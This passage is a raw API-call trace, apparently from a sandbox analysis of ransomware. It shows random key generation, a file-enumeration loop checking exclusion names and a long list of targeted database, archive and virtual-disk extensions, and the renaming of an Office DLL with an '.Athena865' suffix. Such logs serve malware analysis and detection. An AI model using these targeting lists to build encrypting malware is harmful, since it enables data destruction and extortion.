dwMaximumSizeLow=0x41c80, lpName=0x0) returned 0x154 [0070.270] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x41c80) returned 0x2d50000 [0070.284] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0070.284] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0070.284] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.285] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0070.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0070.285] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0070.285] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0070.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.285] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0070.285] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0070.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0070.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0070.285] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0070.288] CloseHandle (hObject=0x154) returned 1 [0070.288] CloseHandle (hObject=0x17c) returned 1 [0070.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0070.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0070.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0070.289] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6094fb10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x35980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENVELOPE.DLL", cAlternateFileName="")) returned 1 [0070.289] lstrcmpiW (lpString1="ENVELOPE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.289] lstrcmpiW (lpString1="ENVELOPE.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.289] lstrcmpiW (lpString1="ENVELOPE.DLL", lpString2=".") returned 1 [0070.289] lstrcmpiW (lpString1="ENVELOPE.DLL", lpString2="..") returned 1 [0070.289] lstrcmpiW (lpString1="ENVELOPE.DLL", lpString2="windows") returned -1 [0070.289] lstrcmpiW (lpString1="ENVELOPE.DLL", lpString2="bootmgr") returned 1 [0070.289] lstrcmpiW (lpString1="ENVELOPE.DLL", lpString2="temp") returned -1 [0070.289] lstrcmpiW (lpString1="ENVELOPE.DLL", lpString2="pagefile.sys") returned -1 [0070.289] lstrcmpiW (lpString1="ENVELOPE.DLL", lpString2="boot") returned 1 [0070.289] lstrcmpiW (lpString1="ENVELOPE.DLL", lpString2="ids.txt") returned -1 [0070.290] lstrcmpiW (lpString1="ENVELOPE.DLL", lpString2="ntuser.dat") returned -1 [0070.290] lstrcmpiW (lpString1="ENVELOPE.DLL", lpString2="perflogs") returned -1 [0070.290] lstrcmpiW (lpString1="ENVELOPE.DLL", lpString2="MSBuild") returned -1 [0070.290] lstrlenW (lpString="ENVELOPE.DLL") returned 12 [0070.290] lstrcpyW (in: lpString1=0x241e89e, lpString2="ENVELOPE.DLL" | out: lpString1="ENVELOPE.DLL") returned="ENVELOPE.DLL" [0070.290] lstrlenW (lpString="ENVELOPE.DLL") returned 12 [0070.290] lstrlenW (lpString="Athena865") returned 9 [0070.290] lstrcmpiW (lpString1="ELOPE.DLL", lpString2="Athena865") returned 1 [0070.290] lstrlenW (lpString=".dll") returned 4 [0070.290] lstrcmpiW (lpString1="ENVELOPE.DLL", lpString2=".dll") returned 1 [0070.290] lstrlenW (lpString=".lnk") returned 4 [0070.290] lstrcmpiW (lpString1="ENVELOPE.DLL", lpString2=".lnk") returned 1 [0070.290] lstrlenW (lpString=".ini") returned 4 [0070.290] lstrcmpiW (lpString1="ENVELOPE.DLL", lpString2=".ini") returned 1 [0070.290] lstrlenW (lpString=".sys") returned 4 [0070.290] lstrcmpiW (lpString1="ENVELOPE.DLL", lpString2=".sys") returned 1 [0070.290] lstrlenW (lpString="ENVELOPE.DLL") returned 12 [0070.290] lstrlenW (lpString="bak") returned 3 [0070.290] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0070.290] lstrlenW (lpString="ba_") returned 3 [0070.290] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0070.290] lstrlenW (lpString="dbb") returned 3 [0070.290] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0070.290] lstrlenW (lpString="vmdk") returned 4 [0070.290] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0070.290] lstrlenW (lpString="rar") returned 3 [0070.290] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0070.290] lstrlenW (lpString="zip") returned 3 [0070.290] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0070.290] lstrlenW (lpString="tgz") returned 3 [0070.291] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0070.291] lstrlenW (lpString="vbox") returned 4 [0070.291] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0070.291] lstrlenW (lpString="vdi") returned 3 [0070.291] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0070.291] lstrlenW (lpString="vhd") returned 3 [0070.291] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0070.291] lstrlenW (lpString="vhdx") returned 4 [0070.291] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0070.291] lstrlenW (lpString="avhd") returned 4 [0070.291] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0070.291] lstrlenW (lpString="db") returned 2 [0070.291] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0070.291] lstrlenW (lpString="db2") returned 3 [0070.291] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0070.291] lstrlenW (lpString="db3") returned 3 [0070.291] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0070.291] lstrlenW (lpString="dbf") returned 3 [0070.291] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0070.291] lstrlenW (lpString="mdf") returned 3 [0070.291] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0070.291] lstrlenW (lpString="mdb") returned 3 [0070.291] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0070.291] lstrlenW (lpString="sql") returned 3 [0070.291] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0070.291] lstrlenW (lpString="sqlite") returned 6 [0070.291] lstrcmpiW (lpString1="PE.DLL", lpString2="sqlite") returned -1 [0070.291] lstrlenW (lpString="sqlite3") returned 7 [0070.291] lstrcmpiW (lpString1="OPE.DLL", lpString2="sqlite3") returned -1 [0070.291] lstrlenW (lpString="sqlitedb") returned 8 [0070.291] lstrcmpiW (lpString1="LOPE.DLL", lpString2="sqlitedb") returned -1 [0070.291] lstrlenW (lpString="xml") returned 3 [0070.291] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0070.292] lstrlenW (lpString="$er") returned 3 [0070.292] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0070.292] lstrlenW (lpString="4dd") returned 3 [0070.292] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0070.292] lstrlenW (lpString="4dl") returned 3 [0070.292] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0070.292] lstrlenW (lpString="^^^") returned 3 [0070.292] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0070.292] lstrlenW (lpString="abs") returned 3 [0070.292] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0070.292] lstrlenW (lpString="abx") returned 3 [0070.292] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0070.292] lstrlenW (lpString="accdb") returned 5 [0070.292] lstrcmpiW (lpString1="E.DLL", lpString2="accdb") returned 1 [0070.292] lstrlenW (lpString="accdc") returned 5 [0070.292] lstrcmpiW (lpString1="E.DLL", lpString2="accdc") returned 1 [0070.292] lstrlenW (lpString="accde") returned 5 [0070.292] lstrcmpiW (lpString1="E.DLL", lpString2="accde") returned 1 [0070.292] lstrlenW (lpString="accdr") returned 5 [0070.292] lstrcmpiW (lpString1="E.DLL", lpString2="accdr") returned 1 [0070.292] lstrlenW (lpString="accdt") returned 5 [0070.292] lstrcmpiW (lpString1="E.DLL", lpString2="accdt") returned 1 [0070.292] lstrlenW (lpString="accdw") returned 5 [0070.292] lstrcmpiW (lpString1="E.DLL", lpString2="accdw") returned 1 [0070.292] lstrlenW (lpString="accft") returned 5 [0070.292] lstrcmpiW (lpString1="E.DLL", lpString2="accft") returned 1 [0070.292] lstrlenW (lpString="adb") returned 3 [0070.292] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0070.292] lstrlenW (lpString="adb") returned 3 [0070.292] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0070.292] lstrlenW (lpString="ade") returned 3 [0070.292] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0070.293] lstrlenW (lpString="adf") returned 3 [0070.293] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0070.293] lstrlenW (lpString="adn") returned 3 [0070.293] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0070.293] lstrlenW (lpString="adp") returned 3 [0070.293] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0070.293] lstrlenW (lpString="alf") returned 3 [0070.293] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0070.293] lstrlenW (lpString="ask") returned 3 [0070.293] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0070.293] lstrlenW (lpString="btr") returned 3 [0070.293] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0070.293] lstrlenW (lpString="cat") returned 3 [0070.293] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0070.293] lstrlenW (lpString="cdb") returned 3 [0070.293] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0070.293] lstrlenW (lpString="ckp") returned 3 [0070.293] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0070.293] lstrlenW (lpString="cma") returned 3 [0070.293] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0070.293] lstrlenW (lpString="cpd") returned 3 [0070.293] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0070.293] lstrlenW (lpString="dacpac") returned 6 [0070.293] lstrcmpiW (lpString1="PE.DLL", lpString2="dacpac") returned 1 [0070.293] lstrlenW (lpString="dad") returned 3 [0070.293] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0070.293] lstrlenW (lpString="dadiagrams") returned 10 [0070.293] lstrcmpiW (lpString1="VELOPE.DLL", lpString2="dadiagrams") returned 1 [0070.293] lstrlenW (lpString="daschema") returned 8 [0070.293] lstrcmpiW (lpString1="LOPE.DLL", lpString2="daschema") returned 1 [0070.293] lstrlenW (lpString="db-journal") returned 10 [0070.293] lstrcmpiW (lpString1="VELOPE.DLL", lpString2="db-journal") returned 1 [0070.294] lstrlenW (lpString="db-shm") returned 6 [0070.294] lstrcmpiW (lpString1="PE.DLL", lpString2="db-shm") returned 1 [0070.294] lstrlenW (lpString="db-wal") returned 6 [0070.294] lstrcmpiW (lpString1="PE.DLL", lpString2="db-wal") returned 1 [0070.294] lstrlenW (lpString="dbc") returned 3 [0070.294] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0070.294] lstrlenW (lpString="dbs") returned 3 [0070.294] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0070.294] lstrlenW (lpString="dbt") returned 3 [0070.294] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0070.294] lstrlenW (lpString="dbv") returned 3 [0070.294] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0070.294] lstrlenW (lpString="dbx") returned 3 [0070.294] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0070.294] lstrlenW (lpString="dcb") returned 3 [0070.294] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0070.294] lstrlenW (lpString="dct") returned 3 [0070.294] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0070.294] lstrlenW (lpString="dcx") returned 3 [0070.294] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0070.294] lstrlenW (lpString="ddl") returned 3 [0070.294] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0070.294] lstrlenW (lpString="dlis") returned 4 [0070.294] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0070.294] lstrlenW (lpString="dp1") returned 3 [0070.294] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0070.294] lstrlenW (lpString="dqy") returned 3 [0070.294] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0070.294] lstrlenW (lpString="dsk") returned 3 [0070.294] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0070.295] lstrlenW (lpString="dsn") returned 3 [0070.295] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0070.295] lstrlenW (lpString="dtsx") returned 4 [0070.295] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0070.295] lstrlenW (lpString="dxl") returned 3 [0070.295] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0070.295] lstrlenW (lpString="eco") returned 3 [0070.295] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0070.295] lstrlenW (lpString="ecx") returned 3 [0070.295] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0070.295] lstrlenW (lpString="edb") returned 3 [0070.295] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0070.295] lstrlenW (lpString="epim") returned 4 [0070.295] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0070.295] lstrlenW (lpString="fcd") returned 3 [0070.295] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0070.295] lstrlenW (lpString="fdb") returned 3 [0070.295] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0070.295] lstrlenW (lpString="fic") returned 3 [0070.295] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0070.295] lstrlenW (lpString="flexolibrary") returned 12 [0070.295] lstrlenW (lpString="fm5") returned 3 [0070.295] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0070.295] lstrlenW (lpString="fmp") returned 3 [0070.295] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0070.295] lstrlenW (lpString="fmp12") returned 5 [0070.295] lstrcmpiW (lpString1="E.DLL", lpString2="fmp12") returned -1 [0070.295] lstrlenW (lpString="fmpsl") returned 5 [0070.295] lstrcmpiW (lpString1="E.DLL", lpString2="fmpsl") returned -1 [0070.295] lstrlenW (lpString="fol") returned 3 [0070.296] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0070.296] lstrlenW (lpString="fp3") returned 3 [0070.296] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0070.296] lstrlenW (lpString="fp4") returned 3 [0070.296] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0070.296] lstrlenW (lpString="fp5") returned 3 [0070.296] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0070.296] lstrlenW (lpString="fp7") returned 3 [0070.296] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0070.296] lstrlenW (lpString="fpt") returned 3 [0070.296] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0070.296] lstrlenW (lpString="frm") returned 3 [0070.296] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0070.296] lstrlenW (lpString="gdb") returned 3 [0070.296] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0070.296] lstrlenW (lpString="gdb") returned 3 [0070.296] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0070.296] lstrlenW (lpString="grdb") returned 4 [0070.296] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0070.296] lstrlenW (lpString="gwi") returned 3 [0070.296] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0070.296] lstrlenW (lpString="hdb") returned 3 [0070.296] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0070.296] lstrlenW (lpString="his") returned 3 [0070.296] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0070.296] lstrlenW (lpString="ib") returned 2 [0070.296] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0070.296] lstrlenW (lpString="idb") returned 3 [0070.296] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0070.296] lstrlenW (lpString="ihx") returned 3 [0070.297] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0070.297] lstrlenW (lpString="itdb") returned 4 [0070.297] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0070.297] lstrlenW (lpString="itw") returned 3 [0070.297] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0070.297] lstrlenW (lpString="jet") returned 3 [0070.297] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0070.297] lstrlenW (lpString="jtx") returned 3 [0070.297] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0070.297] lstrlenW (lpString="kdb") returned 3 [0070.297] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0070.297] lstrlenW (lpString="kexi") returned 4 [0070.297] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0070.297] lstrlenW (lpString="kexic") returned 5 [0070.297] lstrcmpiW (lpString1="E.DLL", lpString2="kexic") returned -1 [0070.297] lstrlenW (lpString="kexis") returned 5 [0070.297] lstrcmpiW (lpString1="E.DLL", lpString2="kexis") returned -1 [0070.297] lstrlenW (lpString="lgc") returned 3 [0070.297] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0070.297] lstrlenW (lpString="lwx") returned 3 [0070.297] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0070.297] lstrlenW (lpString="maf") returned 3 [0070.297] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0070.297] lstrlenW (lpString="maq") returned 3 [0070.297] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0070.297] lstrlenW (lpString="mar") returned 3 [0070.297] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0070.297] lstrlenW (lpString="marshal") returned 7 [0070.297] lstrcmpiW (lpString1="OPE.DLL", lpString2="marshal") returned 1 [0070.297] lstrlenW (lpString="mas") returned 3 [0070.297] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0070.298] lstrlenW (lpString="mav") returned 3 [0070.298] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0070.298] lstrlenW (lpString="maw") returned 3 [0070.298] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0070.298] lstrlenW (lpString="mdbhtml") returned 7 [0070.298] lstrcmpiW (lpString1="OPE.DLL", lpString2="mdbhtml") returned 1 [0070.298] lstrlenW (lpString="mdn") returned 3 [0070.298] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0070.298] lstrlenW (lpString="mdt") returned 3 [0070.298] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0070.298] lstrlenW (lpString="mfd") returned 3 [0070.298] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0070.298] lstrlenW (lpString="mpd") returned 3 [0070.298] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0070.298] lstrlenW (lpString="mrg") returned 3 [0070.298] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0070.298] lstrlenW (lpString="mud") returned 3 [0070.298] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0070.298] lstrlenW (lpString="mwb") returned 3 [0070.298] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0070.298] lstrlenW (lpString="myd") returned 3 [0070.298] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0070.298] lstrlenW (lpString="ndf") returned 3 [0070.298] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0070.298] lstrlenW (lpString="nnt") returned 3 [0070.298] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0070.298] lstrlenW (lpString="nrmlib") returned 6 [0070.298] lstrcmpiW (lpString1="PE.DLL", lpString2="nrmlib") returned 1 [0070.298] lstrlenW (lpString="ns2") returned 3 [0070.298] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0070.299] lstrlenW (lpString="ns3") returned 3 [0070.299] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0070.299] lstrlenW (lpString="ns4") returned 3 [0070.299] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0070.299] lstrlenW (lpString="nsf") returned 3 [0070.299] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0070.299] lstrlenW (lpString="nv") returned 2 [0070.299] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0070.299] lstrlenW (lpString="nv2") returned 3 [0070.299] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0070.299] lstrlenW (lpString="nwdb") returned 4 [0070.299] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0070.299] lstrlenW (lpString="nyf") returned 3 [0070.299] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0070.299] lstrlenW (lpString="odb") returned 3 [0070.299] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0070.299] lstrlenW (lpString="odb") returned 3 [0070.299] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0070.299] lstrlenW (lpString="oqy") returned 3 [0070.299] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0070.299] lstrlenW (lpString="ora") returned 3 [0070.299] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0070.299] lstrlenW (lpString="orx") returned 3 [0070.299] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0070.299] lstrlenW (lpString="owc") returned 3 [0070.299] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0070.299] lstrlenW (lpString="p96") returned 3 [0070.299] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0070.299] lstrlenW (lpString="p97") returned 3 [0070.299] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0070.299] lstrlenW (lpString="pan") returned 3 [0070.300] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0070.300] lstrlenW (lpString="pdb") returned 3 [0070.300] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0070.300] lstrlenW (lpString="pdm") returned 3 [0070.300] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0070.300] lstrlenW (lpString="pnz") returned 3 [0070.300] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0070.300] lstrlenW (lpString="qry") returned 3 [0070.300] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0070.300] lstrlenW (lpString="qvd") returned 3 [0070.300] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0070.300] lstrlenW (lpString="rbf") returned 3 [0070.300] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0070.300] lstrlenW (lpString="rctd") returned 4 [0070.300] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0070.300] lstrlenW (lpString="rod") returned 3 [0070.300] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0070.300] lstrlenW (lpString="rodx") returned 4 [0070.300] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0070.300] lstrlenW (lpString="rpd") returned 3 [0070.300] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0070.300] lstrlenW (lpString="rsd") returned 3 [0070.300] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0070.300] lstrlenW (lpString="sas7bdat") returned 8 [0070.300] lstrcmpiW (lpString1="LOPE.DLL", lpString2="sas7bdat") returned -1 [0070.300] lstrlenW (lpString="sbf") returned 3 [0070.300] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0070.300] lstrlenW (lpString="scx") returned 3 [0070.300] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0070.300] lstrlenW (lpString="sdb") returned 3 [0070.300] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0070.301] lstrlenW (lpString="sdc") returned 3 [0070.301] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0070.301] lstrlenW (lpString="sdf") returned 3 [0070.301] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0070.301] lstrlenW (lpString="sis") returned 3 [0070.301] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0070.301] lstrlenW (lpString="spq") returned 3 [0070.301] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0070.301] lstrlenW (lpString="te") returned 2 [0070.301] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0070.301] lstrlenW (lpString="teacher") returned 7 [0070.301] lstrcmpiW (lpString1="OPE.DLL", lpString2="teacher") returned -1 [0070.301] lstrlenW (lpString="tmd") returned 3 [0070.301] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0070.301] lstrlenW (lpString="tps") returned 3 [0070.301] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0070.301] lstrlenW (lpString="trc") returned 3 [0070.301] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0070.301] lstrlenW (lpString="trc") returned 3 [0070.301] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0070.301] lstrlenW (lpString="trm") returned 3 [0070.301] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0070.301] lstrlenW (lpString="udb") returned 3 [0070.301] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0070.301] lstrlenW (lpString="udl") returned 3 [0070.301] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0070.301] lstrlenW (lpString="usr") returned 3 [0070.301] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0070.301] lstrlenW (lpString="v12") returned 3 [0070.301] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0070.302] lstrlenW (lpString="vis") returned 3 [0070.302] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0070.302] lstrlenW (lpString="vpd") returned 3 [0070.302] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0070.302] lstrlenW (lpString="vvv") returned 3 [0070.302] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0070.302] lstrlenW (lpString="wdb") returned 3 [0070.302] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0070.302] lstrlenW (lpString="wmdb") returned 4 [0070.302] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0070.302] lstrlenW (lpString="wrk") returned 3 [0070.302] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0070.302] lstrlenW (lpString="xdb") returned 3 [0070.302] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0070.302] lstrlenW (lpString="xld") returned 3 [0070.302] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0070.302] lstrlenW (lpString="xmlff") returned 5 [0070.302] lstrcmpiW (lpString1="E.DLL", lpString2="xmlff") returned -1 [0070.302] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL.Athena865") returned 65 [0070.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll.athena865"), dwFlags=0x1) returned 1 [0070.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll.athena865"), 